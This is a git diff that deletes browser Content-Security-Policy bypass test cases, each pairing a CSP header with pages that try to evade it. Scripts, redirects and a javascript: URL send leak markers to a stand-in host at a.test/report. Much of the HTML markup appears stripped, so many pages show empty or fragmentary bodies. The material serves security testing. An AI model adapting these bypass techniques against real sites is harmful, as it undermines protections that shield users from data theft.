importScripts("https://a.test/report/?leak=c358471"); -}; diff --git a/experiments/pages/CSP/c377995/a.test/helper/headers.json b/experiments/pages/CSP/c377995/a.test/helper/headers.json deleted file mode 100644 index c5c2d008..00000000 --- a/experiments/pages/CSP/c377995/a.test/helper/headers.json +++ /dev/null @@ -1,4 +0,0 @@ -[{ - "key": "Content-Security-Policy", - "value": "sandbox" -}] \ No newline at end of file diff --git a/experiments/pages/CSP/c377995/a.test/helper/index.html b/experiments/pages/CSP/c377995/a.test/helper/index.html deleted file mode 100644 index d5d30feb..00000000 --- a/experiments/pages/CSP/c377995/a.test/helper/index.html +++ /dev/null @@ -1,13 +0,0 @@ - - - - Bypass CSP Sandbox - - - I've been sandboxed using the header: -

- "Content-Security-Policy", "sandbox allow-scripts" -

- Nobody, not even URLs from this same domain should be able to access me. - - \ No newline at end of file diff --git a/experiments/pages/CSP/c377995/a.test/main/index.html b/experiments/pages/CSP/c377995/a.test/main/index.html deleted file mode 100644 index 5597bf40..00000000 --- a/experiments/pages/CSP/c377995/a.test/main/index.html +++ /dev/null @@ -1,17 +0,0 @@ - - - - Bypass CSP Sandbox - - -

Bypass CSP Sandbox

- - - - - diff --git a/experiments/pages/CSP/c377995/url_queue.txt b/experiments/pages/CSP/c377995/url_queue.txt deleted file mode 100644 index f1b8bbe7..00000000 --- a/experiments/pages/CSP/c377995/url_queue.txt +++ /dev/null @@ -1,2 +0,0 @@ -https://a.test/CSP/c377995/main -https://a.test/report/?leak=baseline diff --git a/experiments/pages/CSP/c393401/leak.test/helper/index.html b/experiments/pages/CSP/c393401/leak.test/helper/index.html deleted file mode 100644 index f7481c67..00000000 --- a/experiments/pages/CSP/c393401/leak.test/helper/index.html +++ /dev/null @@ -1,6 +0,0 @@ - - - - link - - diff --git a/experiments/pages/CSP/c393401/leak.test/main/index.html b/experiments/pages/CSP/c393401/leak.test/main/index.html deleted file mode 100644 index 859a5445..00000000 --- a/experiments/pages/CSP/c393401/leak.test/main/index.html +++ /dev/null @@ -1,12 +0,0 @@ - - - - - - - diff --git a/experiments/pages/CSP/c393401/leak.test/script/index.html b/experiments/pages/CSP/c393401/leak.test/script/index.html deleted file mode 100644 index ed3736e2..00000000 --- a/experiments/pages/CSP/c393401/leak.test/script/index.html +++ /dev/null @@ -1,9 +0,0 @@ - - - - - - - diff --git a/experiments/pages/CSP/c411600/a.test/helper/headers.json b/experiments/pages/CSP/c411600/a.test/helper/headers.json deleted file mode 100644 index 22b48625..00000000 --- a/experiments/pages/CSP/c411600/a.test/helper/headers.json +++ /dev/null @@ -1,6 +0,0 @@ -[ - { - "key": "Content-Security-Policy", - "value": "default-src *; frame-ancestors 'none'" - } -] \ No newline at end of file diff --git a/experiments/pages/CSP/c411600/a.test/helper/index.html b/experiments/pages/CSP/c411600/a.test/helper/index.html deleted file mode 100644 index 429bfe0e..00000000 --- a/experiments/pages/CSP/c411600/a.test/helper/index.html +++ /dev/null @@ -1,3 +0,0 @@ - diff --git a/experiments/pages/CSP/c411600/a.test/main/index.html b/experiments/pages/CSP/c411600/a.test/main/index.html deleted file mode 100644 index c8aedc49..00000000 --- a/experiments/pages/CSP/c411600/a.test/main/index.html +++ /dev/null @@ -1 +0,0 @@ - \ No newline at end of file diff --git a/experiments/pages/CSP/c482558-img-src/leak.test/main/headers.json b/experiments/pages/CSP/c482558-img-src/leak.test/main/headers.json deleted file mode 100644 index 298306e5..00000000 --- a/experiments/pages/CSP/c482558-img-src/leak.test/main/headers.json +++ /dev/null @@ -1,4 +0,0 @@ -[{ - "key": "Content-Security-Policy", - "value": "img-src 'none'" -}] \ No newline at end of file diff --git a/experiments/pages/CSP/c482558-img-src/leak.test/main/index.html b/experiments/pages/CSP/c482558-img-src/leak.test/main/index.html deleted file mode 100644 index c7b99ea7..00000000 --- a/experiments/pages/CSP/c482558-img-src/leak.test/main/index.html +++ /dev/null @@ -1 +0,0 @@ - diff --git a/experiments/pages/CSP/c482558-img-src/url_queue.txt b/experiments/pages/CSP/c482558-img-src/url_queue.txt deleted file mode 100644 index 5b16e2a8..00000000 --- a/experiments/pages/CSP/c482558-img-src/url_queue.txt +++ /dev/null @@ -1,2 +0,0 @@ -https://leak.test/CSP/c482558-img-src/main -https://a.test/report/?leak=baseline diff --git a/experiments/pages/CSP/c482558/leak.test/main/headers.json b/experiments/pages/CSP/c482558/leak.test/main/headers.json deleted file mode 100644 index 011f82b6..00000000 --- a/experiments/pages/CSP/c482558/leak.test/main/headers.json +++ /dev/null @@ -1,4 +0,0 @@ -[{ - "key": "Content-Security-Policy", - "value": "default-src 'none'" -}] \ No newline at end of file diff --git a/experiments/pages/CSP/c482558/leak.test/main/index.html b/experiments/pages/CSP/c482558/leak.test/main/index.html deleted file mode 100644 index d2d744d3..00000000 --- a/experiments/pages/CSP/c482558/leak.test/main/index.html +++ /dev/null @@ -1 +0,0 @@ - diff --git a/experiments/pages/CSP/c482558/url_queue.txt b/experiments/pages/CSP/c482558/url_queue.txt deleted file mode 100644 index 967790de..00000000 --- a/experiments/pages/CSP/c482558/url_queue.txt +++ /dev/null @@ -1,2 +0,0 @@ -https://leak.test/CSP/c482558/main -https://a.test/report/?leak=baseline diff --git a/experiments/pages/CSP/c487155/a.test/helper1/index.html b/experiments/pages/CSP/c487155/a.test/helper1/index.html deleted file mode 100644 index 48f965f1..00000000 --- a/experiments/pages/CSP/c487155/a.test/helper1/index.html +++ /dev/null @@ -1 +0,0 @@ - \ No newline at end of file diff --git a/experiments/pages/CSP/c487155/a.test/helper2/headers.json b/experiments/pages/CSP/c487155/a.test/helper2/headers.json deleted file mode 100644 index 2e00833a..00000000 --- a/experiments/pages/CSP/c487155/a.test/helper2/headers.json +++ /dev/null @@ -1,6 +0,0 @@ -[ - { - "key": "Content-Security-Policy", - "value": "default-src 'none'" - } -] \ No newline at end of file diff --git a/experiments/pages/CSP/c487155/a.test/helper2/index.html b/experiments/pages/CSP/c487155/a.test/helper2/index.html deleted file mode 100644 index 2ba1da96..00000000 --- a/experiments/pages/CSP/c487155/a.test/helper2/index.html +++ /dev/null @@ -1,8 +0,0 @@ - - - - - diff --git a/experiments/pages/CSP/c487155/a.test/main/index.html b/experiments/pages/CSP/c487155/a.test/main/index.html deleted file mode 100644 index 32c01778..00000000 --- a/experiments/pages/CSP/c487155/a.test/main/index.html +++ /dev/null @@ -1 +0,0 @@ - \ No newline at end of file diff --git a/experiments/pages/CSP/c534542-iframe/a.test/main/headers.json b/experiments/pages/CSP/c534542-iframe/a.test/main/headers.json deleted file mode 100644 index b6c6205b..00000000 --- a/experiments/pages/CSP/c534542-iframe/a.test/main/headers.json +++ /dev/null @@ -1,6 +0,0 @@ -[ - { - "key": "Content-Security-Policy", - "value": "frame-src *.sub.a.test" - } -] diff --git a/experiments/pages/CSP/c534542-iframe/a.test/main/index.html b/experiments/pages/CSP/c534542-iframe/a.test/main/index.html deleted file mode 100644 index 70ed4aad..00000000 --- a/experiments/pages/CSP/c534542-iframe/a.test/main/index.html +++ /dev/null @@ -1 +0,0 @@ - diff --git a/experiments/pages/CSP/c534542-iframe/sub.a.test/helper/index.html b/experiments/pages/CSP/c534542-iframe/sub.a.test/helper/index.html deleted file mode 100644 index 7e6f20c0..00000000 --- a/experiments/pages/CSP/c534542-iframe/sub.a.test/helper/index.html +++ /dev/null @@ -1 +0,0 @@ - diff --git a/experiments/pages/CSP/c534542/a.test/main/headers.json b/experiments/pages/CSP/c534542/a.test/main/headers.json deleted file mode 100644 index 012a5e7b..00000000 --- a/experiments/pages/CSP/c534542/a.test/main/headers.json +++ /dev/null @@ -1,6 +0,0 @@ -[ - { - "key": "Content-Security-Policy", - "value": "script-src *.sub.a.test" - } -] diff --git a/experiments/pages/CSP/c534542/a.test/main/index.html b/experiments/pages/CSP/c534542/a.test/main/index.html deleted file mode 100644 index 0abf44f7..00000000 --- a/experiments/pages/CSP/c534542/a.test/main/index.html +++ /dev/null @@ -1 +0,0 @@ - diff --git a/experiments/pages/CSP/c534542/sub.a.test/helper/index.js b/experiments/pages/CSP/c534542/sub.a.test/helper/index.js deleted file mode 100644 index 60c50877..00000000 --- a/experiments/pages/CSP/c534542/sub.a.test/helper/index.js +++ /dev/null @@ -1 +0,0 @@ -document.location.href = "https://a.test/report/?leak=c534542"; diff --git a/experiments/pages/CSP/c560695-connect-src/leak.test/main/index.html b/experiments/pages/CSP/c560695-connect-src/leak.test/main/index.html deleted file mode 100644 index e8f19665..00000000 --- a/experiments/pages/CSP/c560695-connect-src/leak.test/main/index.html +++ /dev/null @@ -1,17 +0,0 @@ - - - - - - - click here to exploit - diff --git a/experiments/pages/CSP/c560695/leak.test/main/index.html b/experiments/pages/CSP/c560695/leak.test/main/index.html deleted file mode 100644 index ff2e1ad3..00000000 --- a/experiments/pages/CSP/c560695/leak.test/main/index.html +++ /dev/null @@ -1,17 +0,0 @@ - - - - - - - click here to exploit - diff --git a/experiments/pages/CSP/c560695/url_queue.txt b/experiments/pages/CSP/c560695/url_queue.txt deleted file mode 100644 index cc883f12..00000000 --- a/experiments/pages/CSP/c560695/url_queue.txt +++ /dev/null @@ -1,2 +0,0 @@ -https://leak.test/CSP/c560695/main -https://a.test/report/?leak=baseline diff --git a/experiments/pages/CSP/c582387/a.test/helper/index.js b/experiments/pages/CSP/c582387/a.test/helper/index.js deleted file mode 100644 index f7a85b18..00000000 --- a/experiments/pages/CSP/c582387/a.test/helper/index.js +++ /dev/null @@ -1,11 +0,0 @@ -var par = "val"; -//url1 = "javascript:'eval(`document.location = \"https://a.test/report/?leak=c582387\"`);'"; -//url1 = "javascript:'eval('document.location = \'https://a.test/report/?leak=c582387\'');'"; -//url1 = "javascript:'eval('document.location = \"https://a.test/report/?leak=c582387\"\\');'"; -//url1 = 'javascript:\x27alert("dom:\x20"+document.domain+"\x5c\x0aPdom:"+parent.document.domain+"\x5c\x0apar:\x20"+opener.par);\x27'; -//url1 = "javascript:'`document.location=\"https://a.test/report/?leak=c582387\"`;'"; -var url1 = - "javascript:'document.location="https://a.test/report/?leak=c582387"'"; -open(url1); diff --git a/experiments/pages/CSP/c582387/a.test/main/headers.json b/experiments/pages/CSP/c582387/a.test/main/headers.json deleted file mode 100644 index fa6a8203..00000000 --- a/experiments/pages/CSP/c582387/a.test/main/headers.json +++ /dev/null @@ -1,4 +0,0 @@ -[{ - "key": "Content-Security-Policy", - "value": "default-src 'self'; script-src 'self'" -}] \ No newline at end of file diff --git a/experiments/pages/CSP/c582387/a.test/main/index.html b/experiments/pages/CSP/c582387/a.test/main/index.html deleted file mode 100644 index 20ca17fe..00000000 --- a/experiments/pages/CSP/c582387/a.test/main/index.html +++ /dev/null @@ -1,7 +0,0 @@ - - - - - - \ No newline at end of file diff --git a/experiments/pages/CSP/c582387/url_queue.txt b/experiments/pages/CSP/c582387/url_queue.txt deleted file mode 100644 index b4b046ef..00000000 --- a/experiments/pages/CSP/c582387/url_queue.txt +++ /dev/null @@ -1,2 +0,0 @@ -https://a.test/CSP/c582387/main -https://a.test/report/?leak=baseline diff --git a/experiments/pages/CSP/c590505-iframe/a.test/main/headers.json b/experiments/pages/CSP/c590505-iframe/a.test/main/headers.json deleted file mode 100644 index 254b3f58..00000000 --- a/experiments/pages/CSP/c590505-iframe/a.test/main/headers.json +++ /dev/null @@ -1,6 +0,0 @@ -[ - { - "key": "Content-Security-Policy", - "value": "frame-src a.test/rEpOrT/" - } -] diff --git a/experiments/pages/CSP/c590505-iframe/a.test/main/index.html b/experiments/pages/CSP/c590505-iframe/a.test/main/index.html deleted file mode 100644 index 3d34998e..00000000 --- a/experiments/pages/CSP/c590505-iframe/a.test/main/index.html +++ /dev/null @@ -1,5 +0,0 @@ - - - - - diff --git a/experiments/pages/CSP/c590505-img/a.test/main/headers.json b/experiments/pages/CSP/c590505-img/a.test/main/headers.json deleted file mode 100644 index e55f660a..00000000 --- a/experiments/pages/CSP/c590505-img/a.test/main/headers.json +++ /dev/null @@ -1,6 +0,0 @@ -[ - { - "key": "Content-Security-Policy", - "value": "img-src a.test/rEpOrT/" - } -] diff --git a/experiments/pages/CSP/c590505-img/a.test/main/index.html b/experiments/pages/CSP/c590505-img/a.test/main/index.html deleted file mode 100644 index 05e1ecb4..00000000 --- a/experiments/pages/CSP/c590505-img/a.test/main/index.html +++ /dev/null @@ -1,5 +0,0 @@ - - - - - diff --git a/experiments/pages/CSP/c590505/a.test/main/headers.json b/experiments/pages/CSP/c590505/a.test/main/headers.json deleted file mode 100644 index 849c0255..00000000 --- a/experiments/pages/CSP/c590505/a.test/main/headers.json +++ /dev/null @@ -1,6 +0,0 @@ -[ - { - "key": "Content-Security-Policy", - "value": "script-src a.test/rEpOrT/" - } -] diff --git a/experiments/pages/CSP/c590505/a.test/main/index.html b/experiments/pages/CSP/c590505/a.test/main/index.html deleted file mode 100644 index e0a847c7..00000000 --- a/experiments/pages/CSP/c590505/a.test/main/index.html +++ /dev/null @@ -1,5 +0,0 @@ - - - - - diff --git a/experiments/pages/CSP/c605451/leak.test/main/headers.json b/experiments/pages/CSP/c605451/leak.test/main/headers.json deleted file mode 100644 index 86b11903..00000000 --- a/experiments/pages/CSP/c605451/leak.test/main/headers.json +++ /dev/null @@ -1,6 +0,0 @@ -[ - { - "key": "Content-Security-Policy", - "value": "referrer origin-when-crossorigin" - } -] \ No newline at end of file diff --git a/experiments/pages/CSP/c605451/leak.test/main/index.html b/experiments/pages/CSP/c605451/leak.test/main/index.html deleted file mode 100644 index ccf2aaf3..00000000 --- a/experiments/pages/CSP/c605451/leak.test/main/index.html +++ /dev/null @@ -1,30 +0,0 @@ - - - - - - - - - - diff --git a/experiments/pages/CSP/c610441/a.test/main/headers.json b/experiments/pages/CSP/c610441/a.test/main/headers.json deleted file mode 100644 index 086667ec..00000000 --- a/experiments/pages/CSP/c610441/a.test/main/headers.json +++ /dev/null @@ -1,6 +0,0 @@ -[ - { - "key": "Content-Security-Policy", - "value": "upgrade-insecure-requests" - } -] \ No newline at end of file diff --git a/experiments/pages/CSP/c610441/a.test/main/index.html b/experiments/pages/CSP/c610441/a.test/main/index.html deleted file mode 100644 index 4f969dca..00000000 --- a/experiments/pages/CSP/c610441/a.test/main/index.html +++ /dev/null @@ -1,4 +0,0 @@ - - diff --git a/experiments/pages/CSP/c630332/a.test/main/headers.json b/experiments/pages/CSP/c630332/a.test/main/headers.json deleted file mode 100644 index 93521cf0..00000000 --- a/experiments/pages/CSP/c630332/a.test/main/headers.json +++ /dev/null @@ -1,6 +0,0 @@ -[ - { - "key": "Content-Security-Policy", - "value": "form-action 'none'" - } -] \ No newline at end of file diff --git a/experiments/pages/CSP/c630332/a.test/main/index.html b/experiments/pages/CSP/c630332/a.test/main/index.html deleted file mode 100644 index 933b1b56..00000000 --- a/experiments/pages/CSP/c630332/a.test/main/index.html +++ /dev/null @@ -1,10 +0,0 @@ -
- diff --git a/experiments/pages/CSP/c633348/a.test/main/headers.json b/experiments/pages/CSP/c633348/a.test/main/headers.json deleted file mode 100644 index 6ac2eeea..00000000 --- a/experiments/pages/CSP/c633348/a.test/main/headers.json +++ /dev/null @@ -1,4 +0,0 @@ -[{ - "key": "Content-Security-Policy", - "value": "frame-src leak.test/*; report-uri /test" -}] \ No newline at end of file diff --git a/experiments/pages/CSP/c633348/a.test/main/index.html b/experiments/pages/CSP/c633348/a.test/main/index.html deleted file mode 100644 index 55bb9f73..00000000 --- a/experiments/pages/CSP/c633348/a.test/main/index.html +++ /dev/null @@ -1,11 +0,0 @@ - - diff --git a/experiments/pages/CSP/c633348/leak.test/helper/index.html b/experiments/pages/CSP/c633348/leak.test/helper/index.html deleted file mode 100644 index 57bbbd6c..00000000 --- a/experiments/pages/CSP/c633348/leak.test/helper/index.html +++ /dev/null @@ -1,3 +0,0 @@ - \ No newline at end of file diff --git a/experiments/pages/CSP/c661126/a.test/main/headers.json b/experiments/pages/CSP/c661126/a.test/main/headers.json deleted file mode 100644 index b42c9cfa..00000000 --- a/experiments/pages/CSP/c661126/a.test/main/headers.json +++ /dev/null @@ -1,6 +0,0 @@ -[ - { - "key": "Content-Security-Policy", - "value": "default-src 'none'; script-src 'unsafe-inline'" - } -] \ No newline at end of file diff --git a/experiments/pages/CSP/c661126/a.test/main/index.html b/experiments/pages/CSP/c661126/a.test/main/index.html deleted file mode 100644 index 1cdfd13e..00000000 --- a/experiments/pages/CSP/c661126/a.test/main/index.html +++ /dev/null @@ -1,6 +0,0 @@ - diff --git a/experiments/pages/CSP/c661852-form-action/a.test/helper/headers.json b/experiments/pages/CSP/c661852-form-action/a.test/helper/headers.json deleted file mode 100644 index f58d75cd..00000000 --- a/experiments/pages/CSP/c661852-form-action/a.test/helper/headers.json +++ /dev/null @@ -1,10 +0,0 @@ -[ - { - "key": "status", - "value": "302" - }, - { - "key": "Location", - "value": "https://a.test/report/?leak=not-c661852-form-action" - } -] diff --git a/experiments/pages/CSP/c661852-form-action/a.test/helper/index.html b/experiments/pages/CSP/c661852-form-action/a.test/helper/index.html deleted file mode 100644 index 759ea224..00000000 --- a/experiments/pages/CSP/c661852-form-action/a.test/helper/index.html +++ /dev/null @@ -1 +0,0 @@ -Redirect \ No newline at end of file diff --git a/experiments/pages/CSP/c661852-form-action/leak.test/main/headers.json b/experiments/pages/CSP/c661852-form-action/leak.test/main/headers.json deleted file mode 100644 index 84b63fcc..00000000 --- a/experiments/pages/CSP/c661852-form-action/leak.test/main/headers.json +++ /dev/null @@ -1,6 +0,0 @@ -[ - { - "key": "Content-Security-Policy", - "value": "form-action a.test/CSP/c661852-form-action/helper" - } -] diff --git a/experiments/pages/CSP/c661852-form-action/leak.test/main/index.html b/experiments/pages/CSP/c661852-form-action/leak.test/main/index.html deleted file mode 100644 index f3fa62b2..00000000 --- a/experiments/pages/CSP/c661852-form-action/leak.test/main/index.html +++ /dev/null @@ -1,5 +0,0 @@ -
- - diff --git a/experiments/pages/CSP/c661852/a.test/helper/headers.json b/experiments/pages/CSP/c661852/a.test/helper/headers.json deleted file mode 100644 index 638038a4..00000000 --- a/experiments/pages/CSP/c661852/a.test/helper/headers.json +++ /dev/null @@ -1,10 +0,0 @@ -[ - { - "key": "status", - "value": "302" - }, - { - "key": "Location", - "value": "https://a.test/report/?leak=not-c661852" - } -] diff --git a/experiments/pages/CSP/c661852/a.test/helper/index.html b/experiments/pages/CSP/c661852/a.test/helper/index.html deleted file mode 100644 index 759ea224..00000000 --- a/experiments/pages/CSP/c661852/a.test/helper/index.html +++ /dev/null @@ -1 +0,0 @@ -Redirect \ No newline at end of file diff --git a/experiments/pages/CSP/c661852/leak.test/main/headers.json b/experiments/pages/CSP/c661852/leak.test/main/headers.json deleted file mode 100644 index f33d4f65..00000000 --- a/experiments/pages/CSP/c661852/leak.test/main/headers.json +++ /dev/null @@ -1,6 +0,0 @@ -[ - { - "key": "Content-Security-Policy", - "value": "script-src a.test/CSP/c661852/helper" - } -] diff --git a/experiments/pages/CSP/c661852/leak.test/main/index.html b/experiments/pages/CSP/c661852/leak.test/main/index.html deleted file mode 100644 index ae456245..00000000 --- a/experiments/pages/CSP/c661852/leak.test/main/index.html +++ /dev/null @@ -1 +0,0 @@ - diff --git a/experiments/pages/CSP/c663620-img/a.test/main/headers.json b/experiments/pages/CSP/c663620-img/a.test/main/headers.json deleted file mode 100644 index 3ace6cd0..00000000 --- a/experiments/pages/CSP/c663620-img/a.test/main/headers.json +++ /dev/null @@ -1,6 +0,0 @@ -[ - { - "key": "Content-Security-Policy", - "value": "img-src 'none'; script-src 'unsafe-inline'" - } -] \ No newline at end of file diff --git a/experiments/pages/CSP/c663620-img/a.test/main/index.html b/experiments/pages/CSP/c663620-img/a.test/main/index.html deleted file mode 100644 index 4d1a2195..00000000 --- a/experiments/pages/CSP/c663620-img/a.test/main/index.html +++ /dev/null @@ -1 +0,0 @@ - diff --git a/experiments/pages/CSP/c663620/a.test/main/headers.json b/experiments/pages/CSP/c663620/a.test/main/headers.json deleted file mode 100644 index f6ef3714..00000000 --- a/experiments/pages/CSP/c663620/a.test/main/headers.json +++ /dev/null @@ -1,6 +0,0 @@ -[ - { - "key": "Content-Security-Policy", - "value": "connect-src 'none'; script-src 'unsafe-inline'" - } -] \ No newline at end of file diff --git a/experiments/pages/CSP/c663620/a.test/main/index.html b/experiments/pages/CSP/c663620/a.test/main/index.html deleted file mode 100644 index be5734b0..00000000 --- a/experiments/pages/CSP/c663620/a.test/main/index.html +++ /dev/null @@ -1,8 +0,0 @@ - - - - - diff --git a/experiments/pages/CSP/c669086-img/leak.test/main/headers.json b/experiments/pages/CSP/c669086-img/leak.test/main/headers.json deleted file mode 100644 index 6402a244..00000000 --- a/experiments/pages/CSP/c669086-img/leak.test/main/headers.json +++ /dev/null @@ -1,6 +0,0 @@ -[ - { - "key": "Content-Security-Policy", - "value": "img-src 'self'; script-src 'unsafe-inline'" - } -] \ No newline at end of file diff --git a/experiments/pages/CSP/c669086-img/leak.test/main/index.html b/experiments/pages/CSP/c669086-img/leak.test/main/index.html deleted file mode 100644 index e444072b..00000000 --- a/experiments/pages/CSP/c669086-img/leak.test/main/index.html +++ /dev/null @@ -1,5 +0,0 @@ - diff --git a/experiments/pages/CSP/c669086-script/leak.test/main/headers.json b/experiments/pages/CSP/c669086-script/leak.test/main/headers.json deleted file mode 100644 index 29dd9f8c..00000000 --- a/experiments/pages/CSP/c669086-script/leak.test/main/headers.json +++ /dev/null @@ -1,6 +0,0 @@ -[ - { - "key": "Content-Security-Policy", - "value": "script-src 'self' 'unsafe-inline'" - } -] \ No newline at end of file diff --git a/experiments/pages/CSP/c669086-script/leak.test/main/index.html b/experiments/pages/CSP/c669086-script/leak.test/main/index.html deleted file mode 100644 index e9ba7f78..00000000 --- a/experiments/pages/CSP/c669086-script/leak.test/main/index.html +++ /dev/null @@ -1,4 +0,0 @@ -"; - diff --git a/experiments/pages/CSP/c669086/leak.test/main/headers.json b/experiments/pages/CSP/c669086/leak.test/main/headers.json deleted file mode 100644 index fe142fc7..00000000 --- a/experiments/pages/CSP/c669086/leak.test/main/headers.json +++ /dev/null @@ -1,6 +0,0 @@ -[ - { - "key": "Content-Security-Policy", - "value": "default-src 'self'; script-src 'unsafe-inline'" - } -] \ No newline at end of file diff --git a/experiments/pages/CSP/c669086/leak.test/main/index.html b/experiments/pages/CSP/c669086/leak.test/main/index.html deleted file mode 100644 index af79246c..00000000 --- a/experiments/pages/CSP/c669086/leak.test/main/index.html +++ /dev/null @@ -1,5 +0,0 @@ - diff --git a/experiments/pages/CSP/c682673-script/a.test/main/headers.json b/experiments/pages/CSP/c682673-script/a.test/main/headers.json deleted file mode 100644 index 405f80a1..00000000 --- a/experiments/pages/CSP/c682673-script/a.test/main/headers.json +++ /dev/null @@ -1,6 +0,0 @@ -[ - { - "key": "Content-Security-Policy", - "value": "script-src https://*/random-path;" - } -] \ No newline at end of file diff --git a/experiments/pages/CSP/c682673-script/a.test/main/index.html b/experiments/pages/CSP/c682673-script/a.test/main/index.html deleted file mode 100644 index 2e9c6c38..00000000 --- a/experiments/pages/CSP/c682673-script/a.test/main/index.html +++ /dev/null @@ -1 +0,0 @@ - diff --git a/experiments/pages/CSP/c682673/a.test/main/headers.json b/experiments/pages/CSP/c682673/a.test/main/headers.json deleted file mode 100644 index c2c200ca..00000000 --- a/experiments/pages/CSP/c682673/a.test/main/headers.json +++ /dev/null @@ -1,6 +0,0 @@ -[ - { - "key": "Content-Security-Policy", - "value": "default-src https://*/random-path;" - } -] \ No newline at end of file diff --git a/experiments/pages/CSP/c682673/a.test/main/index.html b/experiments/pages/CSP/c682673/a.test/main/index.html deleted file mode 100644 index 874010cc..00000000 --- a/experiments/pages/CSP/c682673/a.test/main/index.html +++ /dev/null @@ -1 +0,0 @@ - diff --git a/experiments/pages/CSP/c689412-iframe/a.test/main/headers.json b/experiments/pages/CSP/c689412-iframe/a.test/main/headers.json deleted file mode 100644 index 8976bc78..00000000 --- a/experiments/pages/CSP/c689412-iframe/a.test/main/headers.json +++ /dev/null @@ -1,6 +0,0 @@ -[ - { - "key": "Content-Security-Policy", - "value": "frame-src 'none'" - } -] \ No newline at end of file diff --git a/experiments/pages/CSP/c689412-iframe/a.test/main/index.html b/experiments/pages/CSP/c689412-iframe/a.test/main/index.html deleted file mode 100644 index f54a038a..00000000 --- a/experiments/pages/CSP/c689412-iframe/a.test/main/index.html +++ /dev/null @@ -1,8 +0,0 @@ - - - - - - diff --git a/experiments/pages/CSP/c689412/a.test/main/headers.json b/experiments/pages/CSP/c689412/a.test/main/headers.json deleted file mode 100644 index c72463c1..00000000 --- a/experiments/pages/CSP/c689412/a.test/main/headers.json +++ /dev/null @@ -1,6 +0,0 @@ -[ - { - "key": "Content-Security-Policy", - "value": "default-src object-src 'none'; script-src 'nonce-random-secret'" - } -] \ No newline at end of file diff --git a/experiments/pages/CSP/c689412/a.test/main/index.html b/experiments/pages/CSP/c689412/a.test/main/index.html deleted file mode 100644 index 03c121dc..00000000 --- a/experiments/pages/CSP/c689412/a.test/main/index.html +++ /dev/null @@ -1,8 +0,0 @@ - - - - - - diff --git a/experiments/pages/CSP/c696806/a.test/main/headers.json b/experiments/pages/CSP/c696806/a.test/main/headers.json deleted file mode 100644 index 445b5f4b..00000000 --- a/experiments/pages/CSP/c696806/a.test/main/headers.json +++ /dev/null @@ -1,6 +0,0 @@ -[ - { - "key": "Content-Security-Policy", - "value": "sandbox" - } -] \ No newline at end of file diff --git a/experiments/pages/CSP/c696806/a.test/main/index.html b/experiments/pages/CSP/c696806/a.test/main/index.html deleted file mode 100644 index 91c2bf8f..00000000 --- a/experiments/pages/CSP/c696806/a.test/main/index.html +++ /dev/null @@ -1 +0,0 @@ - \ No newline at end of file diff --git a/experiments/pages/CSP/c732779/a.test/helper/headers.json b/experiments/pages/CSP/c732779/a.test/helper/headers.json deleted file mode 100644 index 9a70ac91..00000000 --- a/experiments/pages/CSP/c732779/a.test/helper/headers.json +++ /dev/null @@ -1,7 +0,0 @@ -[{ - "key": "Content-Security-Policy", - "value": "script-src 'nonce-2726c7f26c'" -}, { - "key": "allow-csp-from", - "value": "https://leak.test" -}] \ No newline at end of file diff --git a/experiments/pages/CSP/c732779/a.test/helper/index.html b/experiments/pages/CSP/c732779/a.test/helper/index.html deleted file mode 100644 index 22edf679..00000000 --- a/experiments/pages/CSP/c732779/a.test/helper/index.html +++ /dev/null @@ -1,4 +0,0 @@ - \ No newline at end of file diff --git a/experiments/pages/CSP/c732779/leak.test/main/index.html b/experiments/pages/CSP/c732779/leak.test/main/index.html deleted file mode 100644 index 729c58c0..00000000 --- a/experiments/pages/CSP/c732779/leak.test/main/index.html +++ /dev/null @@ -1,4 +0,0 @@ - diff --git a/experiments/pages/CSP/c732779/url_queue.txt b/experiments/pages/CSP/c732779/url_queue.txt deleted file mode 100644 index 662f98bb..00000000 --- a/experiments/pages/CSP/c732779/url_queue.txt +++ /dev/null @@ -1,2 +0,0 @@ -https://leak.test/CSP/c732779/main -https://a.test/report/?leak=baseline diff --git a/experiments/pages/CSP/c740615/leak.test/main/index.html b/experiments/pages/CSP/c740615/leak.test/main/index.html deleted file mode 100644 index 4c9fd916..00000000 --- a/experiments/pages/CSP/c740615/leak.test/main/index.html +++ /dev/null @@ -1,15 +0,0 @@ - - - - - - - diff --git a/experiments/pages/CSP/c740615/url_queue.txt b/experiments/pages/CSP/c740615/url_queue.txt deleted file mode 100644 index a7792d2a..00000000 --- a/experiments/pages/CSP/c740615/url_queue.txt +++ /dev/null @@ -1,2 +0,0 @@ -https://leak.test/CSP/c740615/main -https://a.test/report/?leak=baseline diff --git a/experiments/pages/CSP/c747847-iframe/leak.test/main/headers.json b/experiments/pages/CSP/c747847-iframe/leak.test/main/headers.json deleted file mode 100644 index 058de4e4..00000000 --- a/experiments/pages/CSP/c747847-iframe/leak.test/main/headers.json +++ /dev/null @@ -1,6 +0,0 @@ -[ - { - "key": "Content-Security-Policy", - "value": "default-src 'self';script-src 'self' 'unsafe-inline'" - } -] \ No newline at end of file diff --git a/experiments/pages/CSP/c747847-iframe/leak.test/main/index.html b/experiments/pages/CSP/c747847-iframe/leak.test/main/index.html deleted file mode 100644 index 466e3864..00000000 --- a/experiments/pages/CSP/c747847-iframe/leak.test/main/index.html +++ /dev/null @@ -1,5 +0,0 @@ - diff --git a/experiments/pages/CSP/c747847-img/leak.test/main/headers.json b/experiments/pages/CSP/c747847-img/leak.test/main/headers.json deleted file mode 100644 index 058de4e4..00000000 --- a/experiments/pages/CSP/c747847-img/leak.test/main/headers.json +++ /dev/null @@ -1,6 +0,0 @@ -[ - { - "key": "Content-Security-Policy", - "value": "default-src 'self';script-src 'self' 'unsafe-inline'" - } -] \ No newline at end of file diff --git a/experiments/pages/CSP/c747847-img/leak.test/main/index.html b/experiments/pages/CSP/c747847-img/leak.test/main/index.html deleted file mode 100644 index 0d65ea57..00000000 --- a/experiments/pages/CSP/c747847-img/leak.test/main/index.html +++ /dev/null @@ -1,4 +0,0 @@ - diff --git a/experiments/pages/CSP/c767635/a.test/helper/index.html b/experiments/pages/CSP/c767635/a.test/helper/index.html deleted file mode 100644 index 768d1eef..00000000 --- a/experiments/pages/CSP/c767635/a.test/helper/index.html +++ /dev/null @@ -1,8 +0,0 @@ - diff --git a/experiments/pages/CSP/c767635/leak.test/main/index.html b/experiments/pages/CSP/c767635/leak.test/main/index.html deleted file mode 100644 index a621ff6b..00000000 --- a/experiments/pages/CSP/c767635/leak.test/main/index.html +++ /dev/null @@ -1,12 +0,0 @@ - - - - - - - - diff --git a/experiments/pages/CSP/c767635/url_queue.txt b/experiments/pages/CSP/c767635/url_queue.txt deleted file mode 100644 index 2a9eb6de..00000000 --- a/experiments/pages/CSP/c767635/url_queue.txt +++ /dev/null 